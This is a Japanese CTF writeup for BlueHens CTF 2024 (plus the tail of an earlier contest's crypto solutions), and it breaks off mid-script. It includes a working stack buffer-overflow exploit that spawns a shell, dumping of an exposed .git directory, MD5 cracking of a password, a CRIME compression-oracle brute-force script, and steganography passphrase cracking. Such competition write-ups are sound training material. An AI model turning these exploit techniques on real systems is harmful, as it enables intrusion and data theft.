with open('Output', 'r') as f:
    params = f.read().splitlines()

n = int(params[0].split(' = ')[1])
e = int(params[1].split(' = ')[1])
c = int(params[2].split(' = ')[1])

ps = [9308809837340399653, 9638656009474996247, 10172067034866822329,
    10354784369698224719, 11209486700740045189, 11346323158137382339,
    11354147304116634911, 11764352138541927941, 12173970345611589103,
    13161288593188783501, 13232429251966529279, 13688640699874074247,
    14198816595521136841, 14476726661472037681, 14731435635793702433,
    14861104142259777419, 15169799324952462451, 15238470019725544583,
    15415799843802438209, 15511003127367003967, 15745096712251841113,
    15878969227403060279, 16576514605788751547, 16630719954639992581,
    16671653695109508187, 16728097962753531677, 17996055586202421529,
    18063314945654761219, 18185405107246550969, 18362837959013960089]

phi = 1
for p in ps:
    phi *= p - 1

d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
4T${sadly_this_is_too_much_prime_my_son}

Matematik (crypto)

eが極めて大きいので、Wiener's Attackで復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
from fractions import Fraction
from base64 import b64decode

def egcd(a, b):
    x, y, u, v = 0, 1, 1, 0
    while a != 0:
        q, r = b // a, b % a
        m, n = x - u * q, y - v * q
        b, a, x, y, u, v = a, r, u, v, m, n
        gcd = b
    return gcd, x, y

def decrypt(p, q, e, c):
    n = p * q
    phi = (p - 1) * (q - 1)
    gcd, a, b = egcd(e, phi)
    d = a
    pt = pow(c, d, n)
    return long_to_bytes(pt)

def continued_fractions(n,e):
    cf = [0]
    while e != 0:
        cf.append(int(n // e))
        N = n
        n = e
        e = N % e
    return cf

def calcKD(cf):
    kd = list()
    for i in range(1, len(cf) + 1):
        tmp = Fraction(0)
        for j in cf[1:i][::-1]:
            tmp = 1 / (tmp + j)
        kd.append((tmp.numerator, tmp.denominator))
    return kd

def int_sqrt(n):
    def f(prev):
        while True:
            m = (prev + n // prev) // 2
            if m >= prev:
                return prev
            prev = m
    return f(n)

def calcPQ(a, b):
    if a * a < 4 * b or a < 0:
        return None
    c = int_sqrt(a * a - 4 * b)
    p = (a + c) // 2
    q = (a - c) // 2
    if p + q == a and p * q == b:
        return (p, q)
    else:
        return None

def wiener(n, e):
    kd = calcKD(continued_fractions(n, e))
    for (k, d) in kd:
        if k == 0:
            continue
        if (e * d - 1) % k != 0:
            continue
        phin = (e * d - 1) // k
        if phin >= n:
            continue
        ans = calcPQ(n - phin + 1, n)
        if ans is None:
            continue
        return (ans[0], ans[1])

pub = (813291308603414089290668124041839733918488102866707584478634305319455045742732398934285162590313628856151815805790620427282606419733953720940672900768927843456798354736166539116245629511099027050834359384831529357375361650207922031319202531732346130779684513880916453362321181490895712150208665938936278172640305188677018153679323752530891790061335976403796874283838241633986457526745812030002471049604945974200148937982826320771554655435614757483499493911336752954800985578910845367956516996617229558390523818494709361186658914477419251812995871366351489494308292606000804614366845051918199227844254546329541843568318237109632457847134885083162397820112825732852216955328660838562813889545261894305894160609220887968790944587321188098754603643013421664631133010093611556497233001653201895232543427082211683021364712220647876947616554074640514028751536406658385579193774470930187879078899695146964706436953032128385848122414086434213809075484348842559074698856998042069709556057058143190691596178593402659233400344987806988713656452553047776818230138111821734002434933579554120175239589824745274138505528074316535235675310159751338868381402667299087497293471199173475186425479086169119058202621574904341235785246634876364612171762039, 507629470812273261823426390546598338984395989442071474050416785320440010159634016383832635630627366973849528238182510962137111640508110790495315940357236952175068500887330221534610953600273841963487815952694025077621388297338394497587374864453412549069891512740981002243575242455039752608668327752194980276553830616717081535140131472469003490922930873685871639979453889383771636442013652167366168345651503969931023708386430496255530725148293969510474787981494451982469823070955933396841763617850694834638657960004417960227867460846597255166692801940250504317372628474735332077991643792461076896124636935163284072466415339475869348991747659374068270652923128794611435079728489232122948179139197547105159952184231485291647613944223516450080883783540351500360106831879612194331391872641037161673244469591268235189667939691167302161427391206555938078520320564149433927306713056434689300750584217302607803804849162996945453960388589576433514450931587322042461589005902688639249894585367101942527518672906958428684989901046887818040748667377553642721872919254441104379963680746321602265998423512578545469859243244107381159471514440291591999221623568031461898015393860750228229154460555520746111342574014851882064314878187293289220899929807)
ct = 556929789932718354289291849394616085746017472924699209648914037202503416575540852830970664161255326023268634267454107774965420213413821042576276508575455454361523573097884468178170003077347056594772266618658709362255877582064457508199710666562370947380840565162429512173936308204532454076794768514066924004746803038256412552237658292113081608006251236076708578344122432586668187584141207615427828061411854105828515375964545783967241743237338987432939077584028379144738368932124095367932978939269991855150473979077827471523074357255458371128658173282444008289098805775210188129191929555599684770996221844343085502091025637291770521228572273689936242153064802513056303923914150604670956717223303806593746367470261209586104020700589223881827015327135689001439309533530597224229719728250381029314935622264783085597813127891143325840103161823613658376562092838968353695725179031099723570207527561818677173920140026394852719332897635673091839874217580098458961022224756236920496049672662910077320373061540661712874310205443131382764229256203955927297599654747525835793142357208317882463486124468731953065393841513854916505999541748109264234674614040515601134746212095952825656454587128065358700074118271602538129048748869380854865933904021

n, e = pub
p, q = wiener(n, e)

flag = decrypt(p, q, e, ct).decode()
print(flag)
4T${E_was_a_little_too_strong_this_time}

BlueHens CTF 2024 Writeup

この大会は2024/11/9 2:00(JST)~2024/11/10 14:00(JST)に開催されました。
今回もチームで参戦。結果は2470点で498チーム中61位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome Letter (MISC)

問題にフラグが書いてあった。

UDCTF{guessy_is_sometimes_deduction_sometimes_awful}

Training Problem: Intro to PWN (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  setvbuf(stdin,(char *)0x0,2,1);
  setvbuf(stdout,(char *)0x0,2,1);
  setvbuf(stderr,(char *)0x0,2,1);
  vuln();
  return 0;
}

void vuln(void)

{
  char local_38 [48];
  
  puts("Welcome to PWN 101\n");
  gets(local_38);
  return;
}

void win(void)

{
  system("/bin/sh");
  return;
}

BOFでwin関数をコールすればよい。

$ ROPgadget --binary pwnme | grep ": ret"
0x000000000040101a : ret
#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('0.cloud.chals.io', 13545)
else:
    p = process('./pwnme')

elf = ELF('./pwnme')

ret_addr = 0x40101a
win_addr = elf.symbols['win']

payload = b'A' * 56
payload += p64(ret_addr)
payload += p64(win_addr)

data = p.recvline().decode().rstrip()
print(data)
print(payload)
p.sendline(payload)
p.interactive()

実行結果は以下の通り。

[+] Opening connection to 0.cloud.chals.io on port 13545: Done
[*] '/mnt/hgfs/Shared/pwnme'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
Welcome to PWN 101
b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x1a\x10@\x00\x00\x00\x00\x00\x96\x11@\x00\x00\x00\x00\x00'
[*] Switching to interactive mode

$ ls
flag.txt
pwnme
$ cat flag.txt
udctf{h00r4y_I_am_a_pwn3r_n0w}
udctf{h00r4y_I_am_a_pwn3r_n0w}

Training Problem: Intro to Reverse (REVERSING)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  undefined8 uVar1;
  long in_FS_OFFSET;
  int local_4c;
  undefined8 local_48;
  undefined8 local_40;
  undefined4 local_38;
  char local_28 [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  local_48 = 0x2c6c766271616375;
  local_40 = 0x212352275c642a6e;
  local_38 = 0x6c21;
  fgets(local_28,0x13,stdin);
  local_4c = 0;
  do {
    if (0x11 < local_4c) {
      puts("You got it!");
      uVar1 = 0;
LAB_00101246:
      if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return uVar1;
    }
    if (local_28[local_4c] - local_4c != (int)*(char *)((long)&local_48 + (long)local_4c)) {
      puts("wrong");
      uVar1 = 1;
      goto LAB_00101246;
    }
    local_4c = local_4c + 1;
  } while( true );
}

local_48以降、インデックスをプラスしたものがフラグになる。

#!/usr/bin/env python3
ct = (0x2c6c766271616375).to_bytes(8, 'little')
ct += (0x212352275c642a6e).to_bytes(8, 'little')
ct += (0x6c21).to_bytes(2, 'little')

flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] + i)
print(flag)
udctf{r3v3ng3_101}

🅱️rainrot.c (REVERSING)

関数名等が他の文字列や絵文字になっているので、推測しながらコードを変換する。

・toilet  → char
・deadass → printf
・based   → fgets
・be      → =
・rot     → int
・spiral  → for
・skibidi → if
・aint    → !=
・og      → &
・gyatt   → strcmp
・bussin  → strncpy
・n       → &&
・fr      → ==
・boost   → +
・doneski → return 0

この結果、以下のように変換できた。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "brainint.h"

int fail(char check) {
    printf("Flag's a &#127345;️ust, rule %d aint vibin.\n", check);
    return 0;
}

int main {
    char ohio[100];
    printf("Enter the flag: ");
    fgets(ohio, 100, stdin);
    
    char rizz = strlen(ohio);
    if(rizz > 0 && ohio[rizz - 1] == '\n') {
        ohio[rizz - 1] = '\0';
        rizz -= 1;
    }

    if(rizz != 51) uwu fail(0);
    
    char boomer[6] = "     ";
    strncpy(boomer, & ohio, 5);
    if(strcmp(boomer, "udctf") != 0) uwu fail(1);

    if(ohio[rizz-1] != 0x7d) uwu fail(2);

    if((ohio[5]*4)%102 != 'T') uwu fail(3);

    if((ohio[35] & ohio[33]) != 0x69) uwu fail(4);

    if(ohio[6] ^ ohio[31]) uwu fail(5);

    if((ohio[31] + ohio[35]) != (ohio[6] * 2)) uwu fail(6);

    if((ohio[7] == ohio[10]) + (ohio[14] == ohio[23]) + (ohio[28] == ohio[36]) != 3) uwu fail(7);

    if(!((ohio[42] == ohio[28]) && (ohio[36] == ohio[23]) && (ohio[10] == ohio[42]))) uwu fail(8);

    if(ohio[10] != 0x5f) uwu fail(9);

    char fanum[7] = {0x47, 0x4a, 0x13, 0x42, 0x58, 0x57, 0x1b};
    char simp[8] = "       ";
    char vibe[8] = "       ";
    char drip[9] = "        ";
    strncpy(simp, & ohio[29], 7);
    strncpy(vibe, & ohio[43], 7);
    strncpy(drip, & ohio[15], 8);
    for(int i = 0; i < 7; i++) {
        simp[i] = fanum[i] ^ simp[i];
    }
    for(int i = 0; i < 7; i++) {
        vibe[i] = fanum[i] ^ vibe[i];
    }
    for(int i = 0; i < 8; i++) {
        drip[i] = vibe[i%7] ^ drip[i];
    }
    
    if(strcmp(simp, "r!zz13r") != 0) uwu fail(10);

    if(strcmp(vibe, "5ki8idi") != 0) uwu fail(11);

    char woke[9] = {0x40,0x05,0x5c,0x48,0x59,0x0f,0x5a,0x5b,0x00};
    if(strcmp(drip, woke) != 0) uwu fail(12);

    if((ohio[24] & ohio[19]) != '0') uwu fail(13);

    if((ohio[24] | ohio[27]) != '0') uwu fail(14);

    if(ohio[26] != ohio[44]) uwu fail(15);

    char clout[7] = "      ";
    strncpy(clout, & ohio[8], 6);
    for(int i = 0; i < 6; i++) {
        clout[i] = clout[i] + 1;
    }
    char zest[7] = {0x62,0x6e,0x60,0x75,0x69,0x34,0x00};
    if(strcmp(clout, zest) != 0) uwu fail(16);

    char snack[6] = "     ";
    char L[6] = {0x05,0x17,0x01,0x01,0x1d,0x00};
    strncpy(snack, & ohio[37], 5);
    for(int i = 0; i < 5; i++) {
        snack[i] = snack[i] ^ zest[i];
    }
    if(strcmp(snack, L) != 0) uwu fail(17);

    printf("All rules vibe! &#128541;&#128073;&#128072; Flag is correct! ✅\n");
    return 0;
}

完全に変換したわけではないが、だいぶ読みやすくなったので、フラグの条件を考えていく。

・フラグ文字列の長さは51
・最初の5文字は"udctf"
・最後の文字のASCIIコードは0x7d、つまり"}"
・(ohio[5]*4)%102 == 'T'(=84)

>>> (84 + 102 * 2) // 4
72
>>> (84 + 102 * 4) // 4
123

・ohio[10] == 0x5f(="_")
・ohio[7] == ohio[10](="_")
・ohio[10] == ohio[42](="_")
・ohio[42] == ohio[28](="_")
・ohio[28] == ohio[36](="_")
・ohio[36] == ohio[23](="_")
・ohio[14] == ohio[23](="_")

・strncpy(simp, & ohio[29], 7);
 strcmp(simp, "r!zz13r") == 0

>>> s = [0x47, 0x4a, 0x13, 0x42, 0x58, 0x57, 0x1b]
>>> t = b"r!zz13r"
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'5ki8idi'

・strncpy(vibe, & ohio[43], 7);
 strcmp(vibe, "5ki8idi") == 0

>>> t = b"5ki8idi"
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'r!zz13r'

・strncpy(drip, & ohio[15], 8);

>>> s = b"5ki8idi" + b"5"
>>> t = [0x40,0x05,0x5c,0x48,0x59,0x0f,0x5a,0x5b]
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'un5p0k3n'

・(ohio[24] & ohio[19]) == '0'
 →ohio[24] = '0'

・(ohio[24] | ohio[27]) == '0'
 →ohio[27] = '0'

・ohio[26] == ohio[44]

・strncpy(clout, & ohio[8], 6);
 clout[i] = clout[i] + 1;

>>> s = [0x62,0x6e,0x60,0x75,0x69,0x34]
>>> ''.join([chr(c - 1) for c in s])
'am_th3'

・strncpy(snack, & ohio[37], 5);

>>> s = [0x62,0x6e,0x60,0x75,0x69]
>>> t = [0x05,0x17,0x01,0x01,0x1d]
>>> ''.join([chr(x ^ y) for x, y in zip(s, t)])
'gyatt' 

この時点で、フラグの形式は以下のようになる。

          11111111112222222222333333333344444444445
012345678901234567890123456789012345678901234567890
udctf{ _am_th3_un5p0k3n_0 !0_5ki8idi_gyatt_r!zz13r}
・ohio[6] ^ ohio[31] == 0
 →ohio[6] = ohio[31]

この時点で、フラグの形式は以下のようになる。

         11111111112222222222333333333344444444445
012345678901234567890123456789012345678901234567890
udctf{i_am_th3_un5p0k3n_0 !0_5ki8idi_gyatt_r!zz13r}

インデックス25は不明だが、"h"であると推測できる。

udctf{i_am_th3_un5p0k3n_0h!0_5ki8idi_gyatt_r!zz13r}

Training Problem: Intro to Web (WEB)

$ git-dumper https://bluehens-webstuff.chals.io/ git
[-] Testing https://bluehens-webstuff.chals.io/.git/HEAD [200]
[-] Testing https://bluehens-webstuff.chals.io/.git/ [403]
[-] Fetching common files
[-] Fetching https://bluehens-webstuff.chals.io/.git/COMMIT_EDITMSG [200]
[-] Fetching https://bluehens-webstuff.chals.io/.gitignore [404]
[-] https://bluehens-webstuff.chals.io/.gitignore responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/applypatch-msg.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-rebase.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-push.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-receive.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/prepare-commit-msg.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/update.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/info/exclude [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/info/packs [404]
[-] https://bluehens-webstuff.chals.io/.git/objects/info/packs responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/commit-msg.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/description [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/post-update.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/index [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/post-commit.sample [404]
[-] https://bluehens-webstuff.chals.io/.git/hooks/post-commit.sample responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/post-receive.sample [404]
[-] https://bluehens-webstuff.chals.io/.git/hooks/post-receive.sample responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-commit.sample [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/hooks/pre-applypatch.sample [200]
[-] Finding refs/
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/heads/master [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/ORIG_HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/ORIG_HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/FETCH_HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/FETCH_HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/stash [404]
[-] https://bluehens-webstuff.chals.io/.git/logs/refs/stash responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/HEAD [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/packed-refs [404]
[-] https://bluehens-webstuff.chals.io/.git/packed-refs responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/config [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/HEAD [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/HEAD [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/HEAD responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/heads/master [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/master [404]
[-] https://bluehens-webstuff.chals.io/.git/logs/refs/remotes/origin/master responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/stash [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/stash responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/wip/wtree/refs/heads/master [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/wip/wtree/refs/heads/master responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/info/refs [404]
[-] https://bluehens-webstuff.chals.io/.git/info/refs responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/master [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/remotes/origin/master responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/refs/wip/index/refs/heads/master [404]
[-] https://bluehens-webstuff.chals.io/.git/refs/wip/index/refs/heads/master responded with status code 404
[-] Finding packs
[-] Finding objects
[-] Fetching objects
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/6d/11ca62644930fee1e2e48345c8d35bde2a95e7 [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/00/00000000000000000000000000000000000000 [404]
[-] https://bluehens-webstuff.chals.io/.git/objects/00/00000000000000000000000000000000000000 responded with status code 404
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/76/683fa76b43e25686b99194f7f6bef5d5c3b86a [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/7f/8c5ec67ec20a1ce111b64ec96cfefb472b1bb5 [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/20/9e61d0938774684973200fdbb4493beb4756ea [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/8e/1d29694a756907b525bca25ad70a5e649a0c54 [200]
[-] Fetching https://bluehens-webstuff.chals.io/.git/objects/73/1a8a39c4e7ccc81776a4023c832f97907b93e5 [200]
[-] Running git checkout .
$ cd git/.git
$ cat refs/heads/master 
6d11ca62644930fee1e2e48345c8d35bde2a95e7
$ python2 -c 'import zlib; print zlib.decompress(open("objects/6d/11ca62644930fee1e2e48345c8d35bde2a95e7").read())'
commit 228tree 8e1d29694a756907b525bca25ad70a5e649a0c54
parent 7f8c5ec67ec20a1ce111b64ec96cfefb472b1bb5
author Andy Novocin <andy@fndrsng.com> 1729625823 +0000
committer Andy Novocin <andy@fndrsng.com> 1729625823 +0000

no more passwords

$ python2 -c 'import zlib; print zlib.decompress(open("objects/7f/8c5ec67ec20a1ce111b64ec96cfefb472b1bb5").read())'
commit 184tree 209e61d0938774684973200fdbb4493beb4756ea
author Andy Novocin <andy@fndrsng.com> 1729625753 +0000
committer Andy Novocin <andy@fndrsng.com> 1729625753 +0000

password based login?

$ python2 -c 'import zlib; print zlib.decompress(open("objects/20/9e61d0938774684973200fdbb4493beb4756ea").read())' | xxd -g 1
00000000: 74 72 65 65 20 33 38 00 31 30 30 36 34 34 20 69  tree 38.100644 i
00000010: 6e 64 65 78 2e 68 74 6d 6c 00 73 1a 8a 39 c4 e7  ndex.html.s..9..
00000020: cc c8 17 76 a4 02 3c 83 2f 97 90 7b 93 e5 0a     ...v..<./..{...

$ python2 -c 'import zlib; print zlib.decompress(open("objects/73/1a8a39c4e7ccc81776a4023c832f97907b93e5").read())'
blob 1564
<!doctype html>
<html>
  <head>
    <title>Deeply Insecure Login</title>
    <style>
      .hide {
        display: none;
      }
    </style>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/blueimp-md5/2.10.0/js/md5.js" type="text/javascript" charset="utf-8"></script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.5.0/jquery.min.js" type="text/javascript"></script>
  </head>
  <body>
    <h1 id="page">You are NOT logged in.</h1>
    <form id="login">
      <input type="password" id="password" placeholder="Tell me the password to get in."/>
      <button type="submit">Login</button>
    </form>
    <script>
      var form = document.getElementById("login");
      var attemptcount = 0;
      form.addEventListener("submit", function(event){
        event.preventDefault();

        attemptcount += 1;

        let password = document.getElementById("password").value;
        if (md5(password) == "1c63129ae9db9c60c3e8aa94d3e00495"){
          //You logged in!
          document.getElementById("page").innerHTML = "You ARE logged in... fetching flag";
          form.classList.add('hide');
          $.ajax({
              method:"get",url:"flagme.php",data:{"password":password},success: function(data){
                 $("#page").html(data);
              }
          })
        } else {
          document.getElementById("page").innerHTML = `Still NOT logged in.  ${attemptcount} Attempts.`;
          document.getElementById("password").value = "";
        }
        return false;
      });
    </script>
  </body>
</html>

CrackStationで"1c63129ae9db9c60c3e8aa94d3e00495"をクラックすると、以下のパスワードであることがわかる。

1qaz2wsx

flagme.phpにpasswordを付けてアクセスすればフラグが取得できそう。

$ curl https://bluehens-webstuff.chals.io/flagme.php?password=1qaz2wsx
Congrats your flag is: udctf{00ph_g1t_b4s3d_l34ks?}
udctf{00ph_g1t_b4s3d_l34ks?}

Just a day at the breach (WEB)

zlibの同じ文字列の繰り返しがある場合に圧縮率が高くなる特徴を使ったCRIMEの問題。"udctf{"からブルートフォースでサイズが最も小さくなるものを探していく。

#!/usr/bin/env python3
import requests
import json

base_url = 'https://55nlig2es7hyrhvzcxzboyp4xe0nzjrc.lambda-url.us-east-1.on.aws/?payload='

flag = 'udctf{'
while True:
    for code in range(33, 127):
        print('[+] Try flag:', flag + chr(code))
        url = base_url + (flag + chr(code)).encode().hex()
        r = requests.get(url)
        res = json.loads(r.text)
        size = res['sniffed']
        if size == 67:
            flag += chr(code)
            break
    if flag[-1] == '}':
        break

print('[*] flag:', flag)

実行結果は以下の通り。

        :
[+] Try flag: udctf{huffm4n_br34ched_l3t5_goy
[+] Try flag: udctf{huffm4n_br34ched_l3t5_goz
[+] Try flag: udctf{huffm4n_br34ched_l3t5_go{
[+] Try flag: udctf{huffm4n_br34ched_l3t5_go|
[+] Try flag: udctf{huffm4n_br34ched_l3t5_go}
[*] flag: udctf{huffm4n_br34ched_l3t5_go}
udctf{huffm4n_br34ched_l3t5_go}

Whispers of the Feathered Messenger (FORENSICS)

$ exiftool bird.jpeg                                         
ExifTool Version Number         : 12.76
File Name                       : bird.jpeg
Directory                       : .
File Size                       : 323 kB
File Modification Date/Time     : 2024:11:09 14:46:31+09:00
File Access Date/Time           : 2024:11:09 14:49:33+09:00
File Inode Change Date/Time     : 2024:11:09 14:46:31+09:00
File Permissions                : -rwxrwxrwx
File Type                       : JPEG
File Type Extension             : jpg
MIME Type                       : image/jpeg
JFIF Version                    : 1.01
Resolution Unit                 : None
X Resolution                    : 72
Y Resolution                    : 72
Comment                         : UGFzc3dvcmQ6IDVCNEA3cTchckVc
Image Width                     : 1080
Image Height                    : 1350
Encoding Process                : Baseline DCT, Huffman coding
Bits Per Sample                 : 8
Color Components                : 3
Y Cb Cr Sub Sampling            : YCbCr4:2:0 (2 2)
Image Size                      : 1080x1350
Megapixels                      : 1.5

Commentにbase64文字列らしきものが設定されているので、デコードする。
>|sh|
$ echo UGFzc3dvcmQ6IDVCNEA3cTchckVc | base64 -d
Password: 5B4@7q7!rE\
|

このパスワードを使って、steghideで秘密情報を抽出する。

$ steghide extract -sf bird.jpeg -p "5B4@7q7\!rE\\"
wrote extracted data to "encrypted_flag.bin".
$ file encrypted_flag.bin
encrypted_flag.bin: openssl enc'd data with salted password

再び先ほどのパスワードで復号する。

$ openssl enc -d -aes256 -pass pass:"5B4@7q7\!rE\\" -in encrypted_flag.bin
*** WARNING : deprecated key derivation used.
Using -iter or -pbkdf2 would be better.
UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}
UDCTF{m0AybE_YoR3$!_a_f0recnicsEs_3xpEr^t}

Inner Demon (FORENSICS)

$ stegseek inner_demons.jpg /usr/share/wordlists/rockyou.txt 
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "junji"            
[i] Original filename: "flag.txt".
[i] Extracting to "inner_demons.jpg.out".

$ cat inner_demons.jpg.out
udctf{h0w_d0_y0u_s133p_@t_n1ght?}
udctf{h0w_d0_y0u_s133p_@t_n1ght?}

Training Problem: Intro to RSA (CRYPTO)

nをfactordbで素因数分解する。

n = 186574907923363749257839451561965615541 * 275108975057510790219027682719040831427

あとは通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *

e = 65537
c = 9015202564552492364962954854291908723653545972440223723318311631007329746475
n = 51328431690246050000196200646927542588629192646276628974445855970986472407007

p = 186574907923363749257839451561965615541
q = 275108975057510790219027682719040831427
assert p * q == n

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(c, d, n)
flag = long_to_bytes(m).decode()
print(flag)
udctf{just_4_s1mpl3_RS4}

Nonogram Pt. 1: Simple Enough (CRYPTO)

Nonogram Puzzleを解く。

すると、以下の文字列が現れた。

UDDDU UDUUU DUDUD UUDUU UDUDU UUUUU DUUDU UUDUU UUUDD

Bacon's cipherと推測して、"U"を"A"、"D"を"B"として復号する。

PIXELATED
UDCTF{PIXELATED}

XS1: XOR without XOR (XOR SCHOOL)

(flag*32)[::17][:32]の出力結果が以下のようになっている。

'u_cnfrj_sr_b_34}yd1tt{0upt04lbmb'

17バイトごとに出力しているので、flagが32バイトと想定してインデックスで17プラスしながら、配置していけばフラグになる。

#!/usr/bin/env python3
ct = 'u_cnfrj_sr_b_34}yd1tt{0upt04lbmb'
l = len(ct)

flag = [''] * l
for i in range(len(ct)):
    flag[i * 17 % l] = ct[i]
flag = ''.join(flag)
print(flag)
udctf{just_4_b4by_1ntr0_pr0bl3m}

XS2: Looper (XOR SCHOOL)

フラグが"udctf{"から始まることを前提にkeyを求める。keyは"deadbe"になったので、"deadbeef"であると推測して復号する。

#!/usr/bin/env python3
ct = '11010210041e125508065109073a11563b1d51163d16060e54550d19'
ct = bytes.fromhex(ct)

flag_head = b'udctf{'

key = ''
for i in range(len(flag_head)):
    key += chr(flag_head[i] ^ ct[i])
print('[+] key:', key)

# guess
key += 'ef'
print('[+] key:', key)

flag = ''
for i in range(len(ct)):
    flag += chr(ct[i] ^ ord(key[i % len(key)]))
print('[*] flag:', flag)

実行結果は以下の通り。

[+] key: deadbe
[+] key: deadbeef
[*] flag: udctf{w3lc0me_t0_x0r_sch00l}
udctf{w3lc0me_t0_x0r_sch00l}

XS3: Roman Xor (XOR SCHOOL)

暗号化処理の概要は以下の通り。

・lngstr: poems.txtの内容
・lines: lngstrの改行区切りの配列
・lines: linesで長さが30より長い行のみの配列
・winners: linesから10個選択したものの配列
・pts: winnersの各xの小文字にしたものがアルファベットかスぺースでフィルタリングした文字列の配列に
 フラグ文字列の要素を結合したもの
・key: ランダム100バイト文字列
・cts: ptsの各要素xでkeyとXORしたもののXORの配列
・ctsを出力

フラグは"udctf{"から始まることからわかる範囲で復号し、推測しながら鍵を求め復号していく。

#!/usr/bin/env python3
from Crypto.Util.strxor import strxor

with open('dist.txt', 'r') as f:
    cts = eval(f.read())

flag_head = b'udctf{'
key = strxor(bytes.fromhex(cts[-1])[:len(flag_head)], flag_head)

## guess ##
key += strxor(bytes.fromhex(cts[3])[len(key):len(key) + 2], b'd ')
key += strxor(bytes.fromhex(cts[6])[len(key):len(key) + 2], b't ')
key += strxor(bytes.fromhex(cts[1])[len(key):len(key) + 2], b'y ')
key += strxor(bytes.fromhex(cts[7])[len(key):len(key) + 1], b' ')
key += strxor(bytes.fromhex(cts[2])[len(key):len(key) + 1], b'e')
key += strxor(bytes.fromhex(cts[3])[len(key):len(key) + 8], b'erstood ')
key += strxor(bytes.fromhex(cts[6])[len(key):len(key) + 2], b'h ')
key += strxor(bytes.fromhex(cts[2])[len(key):len(key) + 1], b' ')
key += strxor(bytes.fromhex(cts[1])[len(key):len(key) + 6], b'tions ')
key += strxor(bytes.fromhex(cts[8])[len(key):len(key) + 1], b' ')
key += strxor(bytes.fromhex(cts[3])[len(key):len(key) + 4], b'ous ')
key += strxor(bytes.fromhex(cts[8])[len(key):len(key) + 2], b'l ')
key += strxor(bytes.fromhex(cts[7])[len(key):len(key) + 2], b'se')
key += strxor(bytes.fromhex(cts[9])[len(key):len(key) + 2], b'ds')
key += strxor(bytes.fromhex(cts[8])[len(key):len(key) + 4], b'fall')

## result ##
for ct in cts:
    ct = bytes.fromhex(ct)
    if len(key) > len(ct):
        l = len(ct)
    else:
        l = len(key)
    pt = strxor(ct[:l], key[:l]).decode()
